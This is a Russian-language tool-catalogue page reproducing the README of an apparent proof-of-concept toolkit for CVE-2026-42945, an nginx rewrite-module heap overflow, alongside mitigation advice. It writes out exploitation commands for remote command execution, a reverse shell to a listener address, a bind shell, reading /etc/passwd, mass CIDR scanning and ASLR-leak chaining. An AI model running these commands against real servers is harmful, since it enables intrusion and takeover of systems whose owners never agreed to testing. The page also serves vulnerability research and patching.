Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
Инструменты/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
РазведкаАнализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьФаззингТестирование на ПроникновениеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

173 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-42945 Nginx Rift - PoC-инструментарий

Комплексный proof-of-concept инструментарий для CVE-2026-42945 (Nginx Rift) — критической уязвимости переполнения буфера в куче в модуле ngx_http_rewrite_module сервера Nginx.


Сводка по уязвимости

ПолеСведения
Идентификатор CVECVE-2026-42945
НазваниеNginx Rift
ТипПереполнение буфера в куче
Компонентngx_http_rewrite_module
КритичностьКритическая (CVSS 9.2)
Затронутые версииNginx 0.6.27 - 1.30.0
Исправлено вNginx 1.30.1 / 1.31.0

Первопричина

Уязвимость возникает из-за неверного расчёта размера между двумя внутренними проходами при обработке правил rewrite. Если в конфигурации используются:

  • Неименованные regex-захваты ($1, $2 и т.д.)
  • В сочетании со строкой замены, содержащей ?

Nginx неверно вычисляет требуемый размер буфера на первом проходе и на втором проходе записывает данные за пределы выделенного буфера в куче.

Пример уязвимой конфигурации

root@kitploit:~
server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Безопасная конфигурация (исправленная)

root@kitploit:~
server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Компоненты инструментария

1. nginx_rift_poc.py - основной PoC-инструмент

Сканер уязвимостей и инструмент эксплуатации для одной цели.

Возможности:

  • Определение версии Nginx из заголовка Server
  • Проверка, входит ли версия в уязвимый диапазон
  • Отправка специально сформированных HTTP-нагрузок (payload) для запуска переполнения кучи
  • Генерация уязвимых/безопасных тестовых конфигураций

Использование:

root@kitploit:~
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - массовый сканер

Пакетный сканер для одновременной проверки нескольких целей.

Возможности:

  • Многопоточное сканирование (по умолчанию 50 потоков)
  • Список целей из файла или CIDR-диапазона сети
  • Вывод в JSON для интеграции
  • Автоматическое обнаружение SSL для порта 443

Использование:

root@kitploit:~
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Формат файла с целями:

root@kitploit:~
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - анализатор конфигурации

Сканирует локальные файлы конфигурации Nginx на предмет уязвимых rewrite-шаблонов.

Возможности:

  • Разбор nginx.conf и переход по директивам include
  • Обнаружение неименованных захватов с ? в строках замены
  • Поддержка автоматического исправления (с резервной копией)
  • Рекурсивное сканирование каталогов

Использование:

root@kitploit:~
# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py - расширенный RCE PoC

Продвинутый инструмент эксплуатации, основанный на официальном исследовании depthfirst; поддерживает множество rewrite-шаблонов и режимов эксплуатации.

Возможности:

  • Автоматическое обнаружение 8 распространённых уязвимых rewrite-шаблонов (/api/, /redirect/, /user/ и т.д.)
  • Поддержка нескольких символов-триггеров переполнения (+, &, =, %)
  • Умная генерация payload с контролируемым размером переполнения
  • Несколько режимов эксплуатации: cmd / shell / bind / read
  • Собственные базовые адреса кучи/libc для сред с отключённым ASLR
  • Динамическое построение тела spray с поддельной структурой ngx_pool_cleanup_s

Использование:

root@kitploit:~
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Подробности о режимах эксплуатации:

Настройка адресов (только при отключённом ASLR):

  • --heap-base: базовый адрес кучи целевой системы (например, 0x555555559000)
  • --libc-base: базовый адрес libc (например, 0x7ffff77ba000)
  • --system-addr: прямой адрес system() (переопределяет libc-base)

5. aslr_leak_detector.py - детектор утечек ASLR

Комплексный сканер для обнаружения утечек информации, которые могут обойти защиту ASLR.

Возможности:

  • Обнаружение утечек через HTTP-заголовки (Server, X-Powered-By и т.д.)
  • Анализ страниц ошибок на наличие адресов памяти и стек-трейсов
  • Проверка Nginx-специфичных конечных точек (/nginx_status, /actuator/* и т.д.)
  • Обнаружение утечек адресов памяти (64-битные указатели, адреса кучи/libc/стека)
  • Зондирование структуры кучи через анализ времени отклика
  • Определение статуса ASLR (включён/выключен/слабый)
  • Прямая интеграция с enhanced_poc.py через JSON-отчёт

Использование:

root@kitploit:~
# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

Интеграция с расширенным PoC:

root@kitploit:~
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Индикаторы обнаружения уязвимости

PoC-инструмент определяет уязвимость по следующим индикаторам:

ИндикаторОписание
Разрыв соединения

Установка

Внешние зависимости не требуются. Используется только стандартная библиотека Python.

root@kitploit:~
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945

# Verify Python version (3.7+ recommended)
python3 --version

# Run any tool
python3 nginx_rift_poc.py --help

Затронутые версии


Меры по смягчению последствий

Немедленные действия

  1. Обновите Nginx до версии 1.30.1 (стабильной) или 1.31.0 (mainline)
  2. Проверьте конфигурации на наличие уязвимых rewrite-шаблонов
  3. Включите ASLR на всех хостах, где выполняются worker-процессы Nginx

Временное решение через конфигурацию

Если немедленное обновление невозможно, замените неименованные захваты именованными:

root@kitploit:~
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Виртуальный патч на WAF

Разверните правила WAF для блокировки некорректных запросов, нацеленных на уязвимые rewrite-шаблоны.


Отказ от ответственности

Данный инструментарий предназначен только для авторизованного тестирования безопасности и исследовательских целей.

  • Используйте только в отношении систем, которыми вы владеете или на тестирование которых имеете явное разрешение
  • Несанкционированный доступ к компьютерным системам противозаконен
  • Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным инструментом
  • Всегда тестируйте в изолированных средах перед использованием в продакшене

Связанные CVE

Эта ошибка была обнаружена вместе с тремя другими проблемами повреждения памяти:

CVEОписаниеКритичность
CVE-2026-42946Ошибка выделения памяти в SCGI/UWSGIВысокая
CVE-2026-40701Использование после освобождения (use-after-free) при DNS-разрешении для OCSPСредняя

Ссылки

  • Консультация по безопасности F5
  • Безопасность Nginx
  • Сведения о CVE-2026-42945

Лицензия

Данный проект предоставляется в образовательных целях и для авторизованного тестирования безопасности.


Автор: Security Research Team Дата: 2026-06-11


Китайская документация

Обзор уязвимости

CVE-2026-42945 (Nginx Rift) — это уязвимость переполнения буфера в куче в модуле ngx_http_rewrite_module сервера Nginx, существующая с 2008 года (Nginx 0.6.27) и остававшаяся скрытой около 18 лет.

Механизм уязвимости

При обработке правил rewrite Nginx выполняет два внутренних прохода. Если в конфигурации одновременно выполняются следующие два условия:

  1. Используются неименованные regex-захваты (например, $1, $2)
  2. Строка замены содержит символ ?

Nginx неверно вычисляет размер буфера на первом проходе, а на втором проходе записывает данные за границы буфера в куче, что приводит к переполнению кучи.

Пример уязвимой конфигурации

root@kitploit:~
server {
    # 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Пример безопасной конфигурации (исправленной)

root@kitploit:~
server {
    # 安全:使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Описание компонентов инструментария

1. nginx_rift_poc.py — основной PoC-инструмент

Инструмент обнаружения и эксплуатации уязвимостей на одной цели.

Возможности:

  • Определение версии Nginx из заголовка ответа Server
  • Проверка, входит ли версия в уязвимый диапазон
  • Отправка специально сформированных HTTP-запросов для запуска переполнения кучи
  • Генерация уязвимых/безопасных конфигураций для тестирования

Примеры использования:

root@kitploit:~
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py — массовый сканер

Многопоточное одновременное сканирование нескольких целей.

Возможности:

  • Многопоточное сканирование: по умолчанию 50 потоков
  • Поддержка чтения целей из файла или CIDR-подсети
  • Вывод результатов в формате JSON
  • Автоматическое распознавание SSL-соединений на порту 443

Примеры использования:

root@kitploit:~
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Формат файла с целями:

root@kitploit:~
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py — анализатор конфигурационных файлов

Сканирует локальные конфигурационные файлы Nginx на предмет уязвимых rewrite-шаблонов.

Возможности:

  • Разбор nginx.conf и рекурсивный разбор файлов, подключаемых через include
  • Обнаружение rewrite-директив, содержащих неименованные захваты + ?
  • Поддержка автоматического исправления (с автоматическим созданием резервной копии .bak)
  • Рекурсивное сканирование каталогов

Примеры использования:

root@kitploit:~
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

4. enhanced_poc.py — расширенная версия RCE PoC

Продвинутый инструмент эксплуатации уязвимостей на основе официального исследования depthfirst; поддерживает множество rewrite-шаблонов и способов эксплуатации.

Возможности:

  • Автоматическое обнаружение 8 распространённых уязвимых rewrite-шаблонов (/api/, /redirect/, /user/ и т.д.)
  • Поддержка нескольких символов-триггеров переполнения (+, &, =, %)
  • Умная генерация payload с точным контролем размера переполнения
  • Несколько режимов эксплуатации: cmd / shell / bind / read
  • Задание собственных базовых адресов кучи/libc (для сред с отключённым ASLR)
  • Динамическое построение тела spray с поддельной структурой ngx_pool_cleanup_s

Таблица расширения символов-триггеров переполнения:

Примеры использования:

root@kitploit:~
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Описание режимов эксплуатации:

Настройка адресов (только для среды с отключённым ASLR):

  • --heap-base: базовый адрес кучи целевой системы (например, 0x555555559000)
  • --libc-base: базовый адрес libc (например, 0x7ffff77ba000)
  • --system-addr: прямое указание адреса system()

5. aslr_leak_detector.py — инструмент обнаружения утечек информации ASLR

Комплексный сканер, обнаруживающий утечки информации, которые можно использовать для обхода защиты ASLR.

Возможности:

  • Обнаружение утечек через HTTP-заголовки ответа (Server, X-Powered-By и т.д.)
  • Анализ страниц ошибок (адреса памяти, стек-трейсы)
  • Проверка Nginx-специфичных конечных точек (/nginx_status, /actuator/* и т.д.)
  • Обнаружение утечек адресов памяти (64-битные указатели, адреса кучи/libc/стека)
  • Зондирование структуры кучи (оценка состояния памяти по различиям во времени отклика)
  • Определение статуса ASLR (включён/выключен/слабый)
  • Прямая интеграция с enhanced_poc.py через JSON-отчёт

Примеры использования:

root@kitploit:~
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

Совместное использование с расширенной версией PoC:

root@kitploit:~
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Индикаторы обнаружения уязвимости

PoC-инструмент определяет наличие уязвимости на целевой системе по следующим признакам:

ИндикаторОписание

Установка

Устанавливать сторонние зависимости не требуется — для работы достаточно стандартной библиотеки Python.

root@kitploit:~
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本(推荐 3.7+)
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

Затронутые версии


Меры по смягчению последствий

Рекомендации по экстренным мерам

  1. Немедленно обновите Nginx до версии 1.30.1 (стабильная) или 1.31.0 (mainline)
  2. Проверьте конфигурационные файлы на наличие уязвимых rewrite-шаблонов
  3. Включите ASLR (рандомизацию адресного пространства), чтобы затруднить эксплуатацию RCE

Временные меры по смягчению (если невозможно немедленное обновление)

Замените неименованные захваты именованными:

root@kitploit:~
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Виртуальный патч WAF

Разверните правила межсетевого экрана веб-приложений (WAF) для блокировки вредоносных запросов, нацеленных на уязвимые rewrite-шаблоны.


Отказ от ответственности

Данный инструментарий предназначен только для авторизованного тестирования безопасности и исследовательских целей.

  • Используйте инструмент только в отношении систем, которыми вы владеете или на которые получили явное разрешение
  • Несанкционированный доступ к компьютерным системам является правонарушением
  • Авторы не несут ответственности за злоупотребление инструментом или причинённый им ущерб
  • Всегда тестируйте в изолированной среде перед применением в продакшене

Связанные уязвимости

Эта уязвимость — одна из серии проблем повреждения памяти, обнаруженных системой статического анализа на основе ИИ от depthfirst:

Идентификатор CVEОписаниеКритичность
CVE-2026-42946Ошибка выделения памяти в SCGI/UWSGIВысокая
CVE-2026-40701UAF при DNS-разрешении для OCSPСредняя
CVE-2026-42934Выход за границы при чтении в разборе UTF-8

Справочные ссылки

  • Консультация по безопасности F5
  • Бюллетень безопасности Nginx
  • Сведения о CVE-2026-42945
  • Технический анализ SonicWall
  • Исследовательский отчёт Cloud Security Alliance

Лицензия с открытым исходным кодом

Данный проект предназначен только для образовательных целей и авторизованного тестирования безопасности.


Автор: Security Research Team Дата: 2026-06-11

Скачать инструмент
РежимОписаниеВывод
cmdВыполнение одной shell-командыВывод команды на целевой системе
shellЗапуск reverse shellПодключение обратно к --listen-ip:listen-port
bindЗапуск bind shell на целевой системеПрослушивание --listen-port на цели
readЧтение файла с целевой системыСодержимое записывается в /tmp/nginx_rift_read
Целевая система неожиданно закрывает соединение (крах worker-процесса)
Ошибки шлюзаHTTP-ответы 502/503/504 (worker-процесс завершился)
Медленные ответыВремя ответа значительно увеличивается (восстановление после сбоя)
Пустые ответыТело ответа исчезает по сравнению с базовым уровнем
Совпадение версииОбнаруженная версия Nginx входит в уязвимый диапазон
ПродуктЗатронутые версииИсправлено в
Nginx Open Source0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress ControllerВсе версии до исправленийОбновление до исправленного релиза
Nginx Gateway FabricВсе версии до исправленийОбновление до исправленного релиза
CVE-2026-42934
Выход за границы при чтении во время разбора UTF-8
Средняя
ПолеСведения
Идентификатор CVECVE-2026-42945
Название уязвимостиNginx Rift
Тип уязвимостиПереполнение буфера в куче (Heap Buffer Overflow)
Затронутый компонентngx_http_rewrite_module
Уровень опасностиКритическая (CVSS 9.2)
Затронутые версииNginx 0.6.27 - 1.30.0
Исправлено в версииNginx 1.30.1 / 1.31.0
СимволРасширяется вПереполнение на символ
+%2B+2 байта
&%26+2 байта
=%3D+2 байта
%%25+2 байта
пробел%20+2 байта
РежимОписаниеВывод
cmdВыполнение одной shell-командыВывод команды сохраняется на целевой системе
shellЗапуск reverse shellПодключение обратно к --listen-ip:listen-port
bindЗапуск bind shellПрослушивание --listen-port на цели
readЧтение файла с целевой системыСодержимое записывается в /tmp/nginx_rift_read
Разрыв соединенияЦелевая система аномально закрывает соединение (крах worker-процесса)
Ошибки шлюзаВозвращаются HTTP 502/503/504 (worker-процесс мёртв)
Замедление ответовВремя ответа значительно увеличивается (автоматический перезапуск после краха процесса)
Пустое тело ответаПо сравнению с базовым уровнем тело ответа пустое (worker-процесс завершился)
Совпадение версииОбнаруженная версия Nginx входит в уязвимый диапазон
ПродуктЗатронутые версииИсправлено в
Nginx Open Source0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress ControllerВсе версии без исправленийОбновление до исправленного релиза
Nginx Gateway FabricВсе версии без исправленийОбновление до исправленного релиза
Средняя